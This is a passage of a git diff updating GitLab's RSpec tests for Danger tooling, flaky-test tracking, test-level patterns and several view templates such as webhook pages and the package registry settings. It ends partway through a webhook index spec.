index ec475df6d83..f13083bdf0a 100644
--- a/spec/tooling/danger/project_helper_spec.rb
+++ b/spec/tooling/danger/project_helper_spec.rb
@@ -3,7 +3,7 @@
require 'rspec-parameterized'
require 'gitlab-dangerfiles'
require 'danger'
-require 'danger/plugins/helper'
+require 'danger/plugins/internal/helper'
require 'gitlab/dangerfiles/spec_helper'
require_relative '../../../danger/plugins/project_helper'
@@ -20,22 +20,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
before do
allow(project_helper).to receive(:helper).and_return(fake_helper)
- end
-
- describe '#changes' do
- it 'returns an array of Change objects' do
- expect(project_helper.changes).to all(be_an(Gitlab::Dangerfiles::Change))
- end
-
- it 'groups changes by change type' do
- changes = project_helper.changes
-
- expect(changes.added.files).to eq(added_files)
- expect(changes.modified.files).to eq(modified_files)
- expect(changes.deleted.files).to eq(deleted_files)
- expect(changes.renamed_before.files).to eq([renamed_before_file])
- expect(changes.renamed_after.files).to eq([renamed_after_file])
- end
+ allow(fake_helper).to receive(:config).and_return(double(files_to_category: described_class::CATEGORIES))
end
describe '#categories_for_file' do
@@ -86,7 +71,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'rubocop/foo' | [:backend]
'.rubocop.yml' | [:backend]
'.rubocop_todo.yml' | [:backend]
- '.rubocop_manual_todo.yml' | [:backend]
+ '.rubocop_todo/cop/name.yml' | [:backend]
'spec/foo' | [:backend]
'spec/foo/bar' | [:backend]
@@ -192,6 +177,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'spec/frontend/tracking_spec.js' | [:frontend, :product_intelligence]
'lib/gitlab/usage_database/foo.rb' | [:backend]
'config/metrics/counts_7d/test_metric.yml' | [:product_intelligence]
+ 'config/events/snowplow_event.yml' | [:product_intelligence]
'config/metrics/schema.json' | [:product_intelligence]
'doc/api/usage_data.md' | [:product_intelligence]
'spec/lib/gitlab/usage_data_spec.rb' | [:product_intelligence]
@@ -246,7 +232,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
end
with_them do
- subject { project_helper.categories_for_file(path) }
+ subject { project_helper.helper.categories_for_file(path) }
it { is_expected.to eq(expected_categories) }
end
@@ -274,7 +260,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
changed_files.each do |file|
allow(fake_git).to receive(:diff_for_file).with(file) { double(:diff, patch: patch) }
- expect(project_helper.categories_for_file(file)).to eq(expected_categories)
+ expect(project_helper.helper.categories_for_file(file)).to eq(expected_categories)
end
end
end
@@ -283,7 +269,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
describe '.local_warning_message' do
it 'returns an informational message with rules that can run' do
- expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, database, documentation, duplicate_yarn_dependencies, eslint, gitaly, pajamas, pipeline, prettier, product_intelligence, utility_css, vue_shared_documentation')
+ expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, ci_config, database, documentation, duplicate_yarn_dependencies, eslint, gitaly, pajamas, pipeline, prettier, product_intelligence, utility_css, vue_shared_documentation')
end
end
@@ -320,93 +306,13 @@ RSpec.describe Tooling::Danger::ProjectHelper do
it 'returns all changed files starting with ee/' do
changes = double
- expect(project_helper).to receive(:changes).and_return(changes)
+ expect(fake_helper).to receive(:changes).and_return(changes)
expect(changes).to receive(:files).and_return(%w[fr/ee/beer.rb ee/wine.rb ee/lib/ido.rb ee.k])
is_expected.to match_array(%w[ee/wine.rb ee/lib/ido.rb])
end
end
- describe '#project_name' do
- subject { project_helper.project_name }
-
- it 'returns gitlab if ee? returns true' do
- expect(project_helper).to receive(:ee?) { true }
-
- is_expected.to eq('gitlab')
- end
-
- it 'returns gitlab-ce if ee? returns false' do
- expect(project_helper).to receive(:ee?) { false }
-
- is_expected.to eq('gitlab-foss')
- end
- end
-
- describe '#ee?' do
- subject { project_helper.__send__(:ee?) }
-
- let(:ee_dir) { File.expand_path('../../../ee', __dir__) }
-
- context 'when ENV["CI_PROJECT_NAME"] is set' do
- before do
- stub_env('CI_PROJECT_NAME', ci_project_name)
- end
-
- context 'when ENV["CI_PROJECT_NAME"] is gitlab' do
- let(:ci_project_name) { 'gitlab' }
-
- it 'returns true' do
- is_expected.to eq(true)
- end
- end
-
- context 'when ENV["CI_PROJECT_NAME"] is gitlab-ee' do
- let(:ci_project_name) { 'gitlab-ee' }
-
- it 'returns true' do
- is_expected.to eq(true)
- end
- end
-
- context 'when ENV["CI_PROJECT_NAME"] is gitlab-foss' do
- let(:ci_project_name) { 'gitlab-foss' }
-
- it 'resolves to Dir.exist?' do
- expected = Dir.exist?(ee_dir)
-
- expect(Dir).to receive(:exist?).with(ee_dir).and_call_original
-
- is_expected.to eq(expected)
- end
- end
- end
-
- context 'when ENV["CI_PROJECT_NAME"] is absent' do
- before do
- stub_env('CI_PROJECT_NAME', nil)
-
- expect(Dir).to receive(:exist?).with(ee_dir).and_return(has_ee_dir)
- end
-
- context 'when ee/ directory exists' do
- let(:has_ee_dir) { true }
-
- it 'returns true' do
- is_expected.to eq(true)
- end
- end
-
- context 'when ee/ directory does not exist' do
- let(:has_ee_dir) { false }
-
- it 'returns false' do
- is_expected.to eq(false)
- end
- end
- end
- end
-
describe '#file_lines' do
let(:filename) { 'spec/foo_spec.rb' }
let(:file_spy) { spy }
diff --git a/spec/tooling/danger/specs_spec.rb b/spec/tooling/danger/specs_spec.rb
index a5978020c9d..b2454960a7b 100644
--- a/spec/tooling/danger/specs_spec.rb
+++ b/spec/tooling/danger/specs_spec.rb
@@ -3,7 +3,7 @@
require 'rspec-parameterized'
require 'gitlab-dangerfiles'
require 'danger'
-require 'danger/plugins/helper'
+require 'danger/plugins/internal/helper'
require 'gitlab/dangerfiles/spec_helper'
require_relative '../../../tooling/danger/specs'
diff --git a/spec/tooling/graphql/docs/renderer_spec.rb b/spec/tooling/graphql/docs/renderer_spec.rb
index 1c9605304ff..18256fea2d6 100644
--- a/spec/tooling/graphql/docs/renderer_spec.rb
+++ b/spec/tooling/graphql/docs/renderer_spec.rb
@@ -438,12 +438,12 @@ RSpec.describe Tooling::Graphql::Docs::Renderer do
mutation.description 'Make everything very pretty.'
mutation.argument :prettiness_factor,
- type: GraphQL::FLOAT_TYPE,
+ type: GraphQL::Types::Float,
required: true,
description: 'How much prettier?'
mutation.argument :pulchritude,
- type: GraphQL::FLOAT_TYPE,
+ type: GraphQL::Types::Float,
required: false,
description: 'How much prettier?',
deprecated: {
diff --git a/spec/tooling/quality/test_level_spec.rb b/spec/tooling/quality/test_level_spec.rb
index 94fa9d682e1..8a944a473d7 100644
--- a/spec/tooling/quality/test_level_spec.rb
+++ b/spec/tooling/quality/test_level_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Quality::TestLevel do
context 'when level is unit' do
it 'returns a pattern' do
expect(subject.pattern(:unit))
- .to eq("spec/{bin,channels,config,db,dependencies,elastic,elastic_integration,experiments,factories,finders,frontend,graphql,haml_lint,helpers,initializers,javascripts,lib,models,policies,presenters,rack_servers,replicators,routing,rubocop,scripts,serializers,services,sidekiq,spam,support_specs,tasks,uploaders,validators,views,workers,tooling}{,/**/}*_spec.rb")
+ .to eq("spec/{bin,channels,config,db,dependencies,elastic,elastic_integration,experiments,factories,finders,frontend,graphql,haml_lint,helpers,initializers,javascripts,lib,metrics_server,models,policies,presenters,rack_servers,replicators,routing,rubocop,scripts,serializers,services,sidekiq,sidekiq_cluster,spam,support_specs,tasks,uploaders,validators,views,workers,tooling}{,/**/}*_spec.rb")
end
end
@@ -110,7 +110,7 @@ RSpec.describe Quality::TestLevel do
context 'when level is unit' do
it 'returns a regexp' do
expect(subject.regexp(:unit))
- .to eq(%r{spec/(bin|channels|config|db|dependencies|elastic|elastic_integration|experiments|factories|finders|frontend|graphql|haml_lint|helpers|initializers|javascripts|lib|models|policies|presenters|rack_servers|replicators|routing|rubocop|scripts|serializers|services|sidekiq|spam|support_specs|tasks|uploaders|validators|views|workers|tooling)})
+ .to eq(%r{spec/(bin|channels|config|db|dependencies|elastic|elastic_integration|experiments|factories|finders|frontend|graphql|haml_lint|helpers|initializers|javascripts|lib|metrics_server|models|policies|presenters|rack_servers|replicators|routing|rubocop|scripts|serializers|services|sidekiq|sidekiq_cluster|spam|support_specs|tasks|uploaders|validators|views|workers|tooling)})
end
end
diff --git a/spec/tooling/rspec_flaky/flaky_example_spec.rb b/spec/tooling/rspec_flaky/flaky_example_spec.rb
index ab652662c0b..03436ee1cbd 100644
--- a/spec/tooling/rspec_flaky/flaky_example_spec.rb
+++ b/spec/tooling/rspec_flaky/flaky_example_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
-require 'active_support/testing/time_helpers'
require_relative '../../support/helpers/stub_env'
+require_relative '../../support/time_travel'
require_relative '../../../tooling/rspec_flaky/flaky_example'
@@ -36,40 +36,39 @@ RSpec.describe RspecFlaky::FlakyExample, :aggregate_failures do
}
end
- let(:example) { OpenStruct.new(example_attrs) }
-
before do
# Stub these env variables otherwise specs don't behave the same on the CI
- stub_env('CI_PROJECT_URL', nil)
- stub_env('CI_JOB_ID', nil)
+ stub_env('CI_JOB_URL', nil)
end
- describe '#initialize' do
+ describe '#initialize', :freeze_time do
shared_examples 'a valid FlakyExample instance' do
let(:flaky_example) { described_class.new(args) }
it 'returns valid attributes' do
- expect(flaky_example.uid).to eq(flaky_example_attrs[:uid])
- expect(flaky_example.file).to eq(flaky_example_attrs[:file])
- expect(flaky_example.line).to eq(flaky_example_attrs[:line])
- expect(flaky_example.description).to eq(flaky_example_attrs[:description])
- expect(flaky_example.first_flaky_at).to eq(expected_first_flaky_at)
- expect(flaky_example.last_flaky_at).to eq(expected_last_flaky_at)
- expect(flaky_example.last_attempts_count).to eq(flaky_example_attrs[:last_attempts_count])
- expect(flaky_example.flaky_reports).to eq(expected_flaky_reports)
+ attrs = flaky_example.to_h
+
+ expect(attrs[:uid]).to eq(flaky_example_attrs[:uid])
+ expect(attrs[:file]).to eq(flaky_example_attrs[:file])
+ expect(attrs[:line]).to eq(flaky_example_attrs[:line])
+ expect(attrs[:description]).to eq(flaky_example_attrs[:description])
+ expect(attrs[:first_flaky_at]).to eq(expected_first_flaky_at)
+ expect(attrs[:last_flaky_at]).to eq(expected_last_flaky_at)
+ expect(attrs[:last_attempts_count]).to eq(flaky_example_attrs[:last_attempts_count])
+ expect(attrs[:flaky_reports]).to eq(expected_flaky_reports)
end
end
- context 'when given an Rspec::Example' do
+ context 'when given an Example hash' do
it_behaves_like 'a valid FlakyExample instance' do
- let(:args) { example }
- let(:expected_first_flaky_at) { nil }
- let(:expected_last_flaky_at) { nil }
+ let(:args) { example_attrs }
+ let(:expected_first_flaky_at) { Time.now }
+ let(:expected_last_flaky_at) { Time.now }
let(:expected_flaky_reports) { 0 }
end
end
- context 'when given a hash' do
+ context 'when given a FlakyExample hash' do
it_behaves_like 'a valid FlakyExample instance' do
let(:args) { flaky_example_attrs }
let(:expected_flaky_reports) { flaky_example_attrs[:flaky_reports] }
@@ -89,17 +88,17 @@ RSpec.describe RspecFlaky::FlakyExample, :aggregate_failures do
freeze_time do
flaky_example.update_flakiness!
- expect(flaky_example.first_flaky_at).to eq(Time.now)
+ expect(flaky_example.to_h[:first_flaky_at]).to eq(Time.now)
end
end
it 'maintains the first_flaky_at if exists' do
flaky_example.update_flakiness!
- expected_first_flaky_at = flaky_example.first_flaky_at
+ expected_first_flaky_at = flaky_example.to_h[:first_flaky_at]
travel_to(Time.now + 42) do
flaky_example.update_flakiness!
- expect(flaky_example.first_flaky_at).to eq(expected_first_flaky_at)
+ expect(flaky_example.to_h[:first_flaky_at]).to eq(expected_first_flaky_at)
end
end
@@ -108,53 +107,54 @@ RSpec.describe RspecFlaky::FlakyExample, :aggregate_failures do
the_future = Time.now
flaky_example.update_flakiness!
- expect(flaky_example.last_flaky_at).to eq(the_future)
+ expect(flaky_example.to_h[:last_flaky_at]).to eq(the_future)
end
end
it 'updates the flaky_reports' do
- expected_flaky_reports = flaky_example.first_flaky_at ? flaky_example.flaky_reports + 1 : 1
+ expected_flaky_reports = flaky_example.to_h[:first_flaky_at] ? flaky_example.to_h[:flaky_reports] + 1 : 1
- expect { flaky_example.update_flakiness! }.to change { flaky_example.flaky_reports }.by(1)
- expect(flaky_example.flaky_reports).to eq(expected_flaky_reports)
+ expect { flaky_example.update_flakiness! }.to change { flaky_example.to_h[:flaky_reports] }.by(1)
+ expect(flaky_example.to_h[:flaky_reports]).to eq(expected_flaky_reports)
end
context 'when passed a :last_attempts_count' do
it 'updates the last_attempts_count' do
flaky_example.update_flakiness!(last_attempts_count: 42)
- expect(flaky_example.last_attempts_count).to eq(42)
+ expect(flaky_example.to_h[:last_attempts_count]).to eq(42)
end
end
context 'when run on the CI' do
+ let(:job_url) { 'https://gitlab.com/gitlab-org/gitlab-foss/-/jobs/42' }
+
before do
- stub_env('CI_PROJECT_URL', 'https://gitlab.com/gitlab-org/gitlab-foss')
- stub_env('CI_JOB_ID', 42)
+ stub_env('CI_JOB_URL', job_url)
end
it 'updates the last_flaky_job' do
flaky_example.update_flakiness!
- expect(flaky_example.last_flaky_job).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/jobs/42')
+ expect(flaky_example.to_h[:last_flaky_job]).to eq(job_url)
end
end
end
- context 'when given an Rspec::Example' do
+ context 'when given an Example hash' do
it_behaves_like 'an up-to-date FlakyExample instance' do
- let(:args) { example }
+ let(:args) { example_attrs }
end
end
- context 'when given a hash' do
+ context 'when given a FlakyExample hash' do
it_behaves_like 'an up-to-date FlakyExample instance' do
let(:args) { flaky_example_attrs }
end
end
end
- describe '#to_h' do
+ describe '#to_h', :freeze_time do
shared_examples 'a valid FlakyExample hash' do
let(:additional_attrs) { {} }
@@ -166,17 +166,17 @@ RSpec.describe RspecFlaky::FlakyExample, :aggregate_failures do
end
end
- context 'when given an Rspec::Example' do
- let(:args) { example }
+ context 'when given an Example hash' do
+ let(:args) { example_attrs }
it_behaves_like 'a valid FlakyExample hash' do
let(:additional_attrs) do
- { first_flaky_at: nil, last_flaky_at: nil, last_flaky_job: nil, flaky_reports: 0 }
+ { first_flaky_at: Time.now, last_flaky_at: Time.now, last_flaky_job: nil, flaky_reports: 0 }
end
end
end
- context 'when given a hash' do
+ context 'when given a FlakyExample hash' do
let(:args) { flaky_example_attrs }
it_behaves_like 'a valid FlakyExample hash'
diff --git a/spec/tooling/rspec_flaky/flaky_examples_collection_spec.rb b/spec/tooling/rspec_flaky/flaky_examples_collection_spec.rb
index 823459e31b4..e5f985c9596 100644
--- a/spec/tooling/rspec_flaky/flaky_examples_collection_spec.rb
+++ b/spec/tooling/rspec_flaky/flaky_examples_collection_spec.rb
@@ -1,8 +1,10 @@
# frozen_string_literal: true
+require_relative '../../support/time_travel'
+
require_relative '../../../tooling/rspec_flaky/flaky_examples_collection'
-RSpec.describe RspecFlaky::FlakyExamplesCollection, :aggregate_failures do
+RSpec.describe RspecFlaky::FlakyExamplesCollection, :aggregate_failures, :freeze_time do
let(:collection_hash) do
{
a: { example_id: 'spec/foo/bar_spec.rb:2' },
@@ -14,15 +16,19 @@ RSpec.describe RspecFlaky::FlakyExamplesCollection, :aggregate_failures do
{
a: {
example_id: 'spec/foo/bar_spec.rb:2',
- first_flaky_at: nil,
- last_flaky_at: nil,
- last_flaky_job: nil
+ first_flaky_at: Time.now,
+ last_flaky_at: Time.now,
+ last_flaky_job: nil,
+ flaky_reports: 0,
+ last_attempts_count: nil
},
b: {
example_id: 'spec/foo/baz_spec.rb:3',
- first_flaky_at: nil,
- last_flaky_at: nil,
- last_flaky_job: nil
+ first_flaky_at: Time.now,
+ last_flaky_at: Time.now,
+ last_flaky_job: nil,
+ flaky_reports: 0,
+ last_attempts_count: nil
}
}
end
@@ -59,9 +65,11 @@ RSpec.describe RspecFlaky::FlakyExamplesCollection, :aggregate_failures do
expect((collection2 - collection1).to_h).to eq(
c: {
example_id: 'spec/bar/baz_spec.rb:4',
- first_flaky_at: nil,
- last_flaky_at: nil,
- last_flaky_job: nil
+ first_flaky_at: Time.now,
+ last_flaky_at: Time.now,
+ last_flaky_job: nil,
+ flaky_reports: 0,
+ last_attempts_count: nil
})
end
diff --git a/spec/tooling/rspec_flaky/listener_spec.rb b/spec/tooling/rspec_flaky/listener_spec.rb
index 429724a20cf..51a815dafbf 100644
--- a/spec/tooling/rspec_flaky/listener_spec.rb
+++ b/spec/tooling/rspec_flaky/listener_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
-require 'active_support/testing/time_helpers'
require_relative '../../support/helpers/stub_env'
+require_relative '../../support/time_travel'
require_relative '../../../tooling/rspec_flaky/listener'
@@ -53,8 +53,7 @@ RSpec.describe RspecFlaky::Listener, :aggregate_failures do
before do
# Stub these env variables otherwise specs don't behave the same on the CI
- stub_env('CI_PROJECT_URL', nil)
- stub_env('CI_JOB_ID', nil)
+ stub_env('CI_JOB_URL', nil)
stub_env('SUITE_FLAKY_RSPEC_REPORT_PATH', nil)
end
@@ -217,7 +216,7 @@ RSpec.describe RspecFlaky::Listener, :aggregate_failures do
expect(RspecFlaky::Report).to receive(:new).with(listener.flaky_examples).and_return(report1)
expect(report1).to receive(:write).with(RspecFlaky::Config.flaky_examples_report_path)
- expect(RspecFlaky::Report).to receive(:new).with(listener.flaky_examples - listener.suite_flaky_examples).and_return(report2)
+ expect(RspecFlaky::Report).to receive(:new).with(listener.__send__(:new_flaky_examples)).and_return(report2)
expect(report2).to receive(:write).with(RspecFlaky::Config.new_flaky_examples_report_path)
listener.dump_summary(nil)
diff --git a/spec/tooling/rspec_flaky/report_spec.rb b/spec/tooling/rspec_flaky/report_spec.rb
index 6c364cd5cd3..ffd0cd987aa 100644
--- a/spec/tooling/rspec_flaky/report_spec.rb
+++ b/spec/tooling/rspec_flaky/report_spec.rb
@@ -2,9 +2,11 @@
require 'tempfile'
+require_relative '../../support/time_travel'
+
require_relative '../../../tooling/rspec_flaky/report'
-RSpec.describe RspecFlaky::Report, :aggregate_failures do
+RSpec.describe RspecFlaky::Report, :aggregate_failures, :freeze_time do
let(:thirty_one_days) { 3600 * 24 * 31 }
let(:collection_hash) do
{
diff --git a/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb b/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
index 72e32643a49..18a2e29adab 100644
--- a/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
@@ -28,6 +28,9 @@ RSpec.describe 'admin/application_settings/_package_registry' do
expect(rendered).to have_field('Maximum Conan package file size in bytes', type: 'number')
expect(page.find_field('Maximum Conan package file size in bytes').value).to eq(default_plan_limits.conan_max_file_size.to_s)
+ expect(rendered).to have_field('Maximum Helm chart file size in bytes', type: 'number')
+ expect(page.find_field('Maximum Helm chart file size in bytes').value).to eq(default_plan_limits.helm_max_file_size.to_s)
+
expect(rendered).to have_field('Maximum Maven package file size in bytes', type: 'number')
expect(page.find_field('Maximum Maven package file size in bytes').value).to eq(default_plan_limits.maven_max_file_size.to_s)
diff --git a/spec/views/groups/new.html.haml_spec.rb b/spec/views/groups/new.html.haml_spec.rb
new file mode 100644
index 00000000000..8b12cc42a88
--- /dev/null
+++ b/spec/views/groups/new.html.haml_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'groups/new.html.haml' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { build(:group, namespace_settings: build(:namespace_settings)) }
+
+ before do
+ assign(:group, group)
+ assign(:current_user, user)
+
+ allow(view).to receive(:current_user).and_return(user)
+ allow(view).to receive(:captcha_required?).and_return(false)
+ allow(view).to receive(:import_sources_enabled?).and_return(false)
+
+ render
+ end
+
+ describe 'setup_for_company field' do
+ it 'does not have a default selection', :aggregate_failures do
+ expect(rendered).to have_field('My company or team')
+ expect(rendered).not_to have_checked_field('My company or team')
+ expect(rendered).to have_field('Just me')
+ expect(rendered).not_to have_checked_field('Just me')
+ end
+ end
+end
diff --git a/spec/views/groups/runners/_group_runners.html.haml_spec.rb b/spec/views/groups/runners/_group_runners.html.haml_spec.rb
index 0d47409c658..3a8686ab046 100644
--- a/spec/views/groups/runners/_group_runners.html.haml_spec.rb
+++ b/spec/views/groups/runners/_group_runners.html.haml_spec.rb
@@ -11,12 +11,11 @@ RSpec.describe 'groups/runners/group_runners.html.haml' do
@group = group
allow(view).to receive(:current_user).and_return(user)
allow(view).to receive(:reset_registration_token_group_settings_ci_cd_path).and_return('banana_url')
- allow(view).to receive(:can?).with(user, :admin_pipeline, group).and_return(true)
end
context 'when group runner registration is allowed' do
before do
- stub_application_setting(valid_runner_registrars: ['group'])
+ allow(view).to receive(:can?).with(user, :register_group_runners, group).and_return(true)
end
it 'enables the Remove group button for a group' do
@@ -29,7 +28,7 @@ RSpec.describe 'groups/runners/group_runners.html.haml' do
context 'when group runner registration is not allowed' do
before do
- stub_application_setting(valid_runner_registrars: ['project'])
+ allow(view).to receive(:can?).with(user, :register_group_runners, group).and_return(false)
end
it 'does not enable the the Remove group button for a group' do
diff --git a/spec/views/jira_connect/subscriptions/index.html.haml_spec.rb b/spec/views/jira_connect/subscriptions/index.html.haml_spec.rb
deleted file mode 100644
index 0a4d283a983..00000000000
--- a/spec/views/jira_connect/subscriptions/index.html.haml_spec.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'jira_connect/subscriptions/index.html.haml' do
- let(:user) { build_stubbed(:user) }
-
- before do
- allow(view).to receive(:current_user).and_return(user)
- assign(:subscriptions, create_list(:jira_connect_subscription, 1))
- end
-
- context 'when the user is signed in' do
- it 'shows link to user profile' do
- render
-
- expect(rendered).to have_link(user.to_reference)
- end
- end
-
- context 'when the user is not signed in' do
- let(:user) { nil }
-
- it 'shows "Sign in" link' do
- render
-
- expect(rendered).to have_link('Sign in to GitLab')
- end
- end
-end
diff --git a/spec/views/layouts/_head.html.haml_spec.rb b/spec/views/layouts/_head.html.haml_spec.rb
index 2c7289deaef..f9725c73d05 100644
--- a/spec/views/layouts/_head.html.haml_spec.rb
+++ b/spec/views/layouts/_head.html.haml_spec.rb
@@ -62,7 +62,7 @@ RSpec.describe 'layouts/_head' do
expect(rendered).to match('<link rel="stylesheet" media="print" href="/stylesheets/highlight/themes/solarised-light.css" />')
end
- context 'when an asset_host is set and snowplow url is set' do
+ context 'when an asset_host is set and snowplow url is set', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/346542' do
let(:asset_host) { 'http://test.host' }
let(:snowplow_collector_hostname) { 'www.snow.plow' }
diff --git a/spec/views/layouts/header/_new_dropdown.haml_spec.rb b/spec/views/layouts/header/_new_dropdown.haml_spec.rb
index 47abfff87bb..208da345e7f 100644
--- a/spec/views/layouts/header/_new_dropdown.haml_spec.rb
+++ b/spec/views/layouts/header/_new_dropdown.haml_spec.rb
@@ -6,33 +6,13 @@ RSpec.describe 'layouts/header/_new_dropdown' do
let_it_be(:user) { create(:user) }
shared_examples_for 'invite member quick link' do
- context 'when an experiment is active' do
- before do
- allow(Gitlab::Experimentation).to receive(:active?).and_return(true)
- allow(view).to receive(:experiment_tracking_category_and_group)
- allow(view).to receive(:tracking_label)
- end
-
- context 'with ability to invite members' do
- it { is_expected.to have_link('Invite members', href: href) }
-
- it 'records the experiment' do
- subject
-
- expect(view).to have_received(:experiment_tracking_category_and_group)
- .with(:invite_members_new_dropdown)
- expect(view).to have_received(:tracking_label)
- end
- end
-
- context 'without ability to invite members' do
- let(:invite_member) { false }
-
- it { is_expected.not_to have_link('Invite members') }
- end
+ context 'with ability to invite members' do
+ it { is_expected.to have_link('Invite members', href: href) }
end
- context 'when experiment is not active' do
+ context 'without ability to invite members' do
+ let(:invite_member) { false }
+
it { is_expected.not_to have_link('Invite members') }
end
end
@@ -72,7 +52,6 @@ RSpec.describe 'layouts/header/_new_dropdown' do
allow(view).to receive(:can?).with(user, :create_projects, group).and_return(true)
allow(view).to receive(:can?).with(user, :admin_group_member, group).and_return(invite_member)
allow(view).to receive(:can_admin_project_member?).and_return(invite_member)
- allow(view).to receive(:experiment_enabled?)
end
subject do
diff --git a/spec/views/profiles/keys/_form.html.haml_spec.rb b/spec/views/profiles/keys/_form.html.haml_spec.rb
index 0f4d7ecc699..d5a605958dc 100644
--- a/spec/views/profiles/keys/_form.html.haml_spec.rb
+++ b/spec/views/profiles/keys/_form.html.haml_spec.rb
@@ -33,8 +33,8 @@ RSpec.describe 'profiles/keys/_form.html.haml' do
end
it 'has the expires at field', :aggregate_failures do
- expect(rendered).to have_field('Expires at', type: 'date')
- expect(page.find_field('Expires at')['min']).to eq(l(1.day.from_now, format: "%Y-%m-%d"))
+ expect(rendered).to have_field('Expiration date', type: 'date')
+ expect(page.find_field('Expiration date')['min']).to eq(l(1.day.from_now, format: "%Y-%m-%d"))
expect(rendered).to have_text('Key can still be used after expiration.')
end
diff --git a/spec/views/projects/buttons/_dropdown.html.haml_spec.rb b/spec/views/projects/buttons/_dropdown.html.haml_spec.rb
deleted file mode 100644
index fc9d7c3ea91..00000000000
--- a/spec/views/projects/buttons/_dropdown.html.haml_spec.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'projects/buttons/_dropdown' do
- let(:user) { create(:user) }
-
- context 'user with all abilities' do
- before do
- assign(:project, project)
-
- allow(view).to receive(:current_user).and_return(user)
- allow(view).to receive(:can?).with(user, :push_code, project).and_return(true)
- allow(view).to receive(:can_collaborate_with_project?).and_return(true)
- end
-
- context 'empty repository' do
- let(:project) { create(:project, :empty_repo) }
-
- it 'has a link to create a new file' do
- render
-
- expect(view).to render_template('projects/buttons/_dropdown')
- expect(rendered).to have_link('New file')
- end
-
- it 'does not have a link to create a new branch' do
- render
-
- expect(view).to render_template('projects/buttons/_dropdown')
- expect(rendered).not_to have_link('New branch')
- end
-
- it 'does not have a link to create a new tag' do
- render
-
- expect(view).to render_template('projects/buttons/_dropdown')
- expect(rendered).not_to have_link('New tag')
- end
- end
- end
-end
diff --git a/spec/views/projects/edit.html.haml_spec.rb b/spec/views/projects/edit.html.haml_spec.rb
index 60f4c1664f7..8c96f286c79 100644
--- a/spec/views/projects/edit.html.haml_spec.rb
+++ b/spec/views/projects/edit.html.haml_spec.rb
@@ -92,6 +92,22 @@ RSpec.describe 'projects/edit' do
end
end
+ context 'squash template' do
+ it 'displays a placeholder if none is set' do
+ render
+
+ expect(rendered).to have_field('project[squash_commit_template]', placeholder: '%{title}')
+ end
+
+ it 'displays the user entered value' do
+ project.update!(squash_commit_template: '%{first_multiline_commit}')
+
+ render
+
+ expect(rendered).to have_field('project[squash_commit_template]', with: '%{first_multiline_commit}')
+ end
+ end
+
context 'forking' do
before do
assign(:project, project)
diff --git a/spec/views/projects/hooks/edit.html.haml_spec.rb b/spec/views/projects/hooks/edit.html.haml_spec.rb
new file mode 100644
index 00000000000..c4ec2149794
--- /dev/null
+++ b/spec/views/projects/hooks/edit.html.haml_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'projects/hooks/edit' do
+ let(:hook) { create(:project_hook, project: project) }
+
+ let_it_be_with_refind(:project) { create(:project) }
+
+ before do
+ assign :project, project
+ assign :hook, hook
+ end
+
+ it 'renders webhook page with "Recent events"' do
+ render
+
+ expect(rendered).to have_css('h4', text: _('Webhook'))
+ expect(rendered).to have_text(_('Recent events'))
+ end
+
+ context 'webhook is rate limited' do
+ before do
+ allow(hook).to receive(:rate_limited?).and_return(true)
+ end
+
+ it 'renders alert' do
+ render
+
+ expect(rendered).to have_text(s_('Webhooks|Webhook was automatically disabled'))
+ end
+ end
+
+ context 'webhook is permanently disabled' do
+ before do
+ allow(hook).to receive(:permanently_disabled?).and_return(true)
+ end
+
+ it 'renders alert' do
+ render
+
+ expect(rendered).to have_text(s_('Webhooks|Webhook failed to connect'))
+ end
+ end
+
+ context 'webhook is temporarily disabled' do
+ before do
+ allow(hook).to receive(:temporarily_disabled?).and_return(true)
+ allow(hook).to receive(:disabled_until).and_return(Time.now + 10.minutes)
+ end
+
+ it 'renders alert' do
+ render
+
+ expect(rendered).to have_text(s_('Webhooks|Webhook fails to connect'))
+ end
+ end
+end
diff --git a/spec/views/projects/hooks/index.html.haml_spec.rb b/spec/views/projects/hooks/index.html.haml_spec.rb
new file mode 100644
index 00000000000..0cdc3bcecb2
--- /dev/null
+++ b/spec/views/projects/hooks/index.html.haml_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'projects/hooks/index' do
+ let(:existing_hook) { create(:project_hook, project: project) }
+ let(:new_hook) { ProjectHook.new }
+
+ let_it_be_with_refind(:project) { create(:project) }
+
+ before do
+ assign :project, project
+ assign :hooks, [existing_hook]
+ assign :hook, new_hook
+ end
+
+ it 'renders webhooks page with "Project Hooks"' do
+ render
+
+ expect(rendered).to have_css('h4', text: _('Webhooks'))
+ expect(rendered).to have_text('Project Hooks')
+ expect(rendered).not_to have_css('.gl-badge', text: _('Disabled'))
+ expect(rendered).not_to have_css('.gl-badge', text: s_('Webhooks|Failed to connect'))
+ expect(rendered).not_to have_css('.gl-badge', text: s_('Webhooks|Fails to connect'))
+ end
+
+ context 'webhook is rate limited' do
+ before do
+ allow(existing_hook).to receive(:rate_limited?).and_return(true)
+ end
+
+ it 'renders "Disabled" badge' do
+ render
+
+ expect(rendered).to have_css('.gl-badge', text: _('Disabled'))
+ end
+ end
+
+ context 'webhook is permanently disabled' do
+ before do
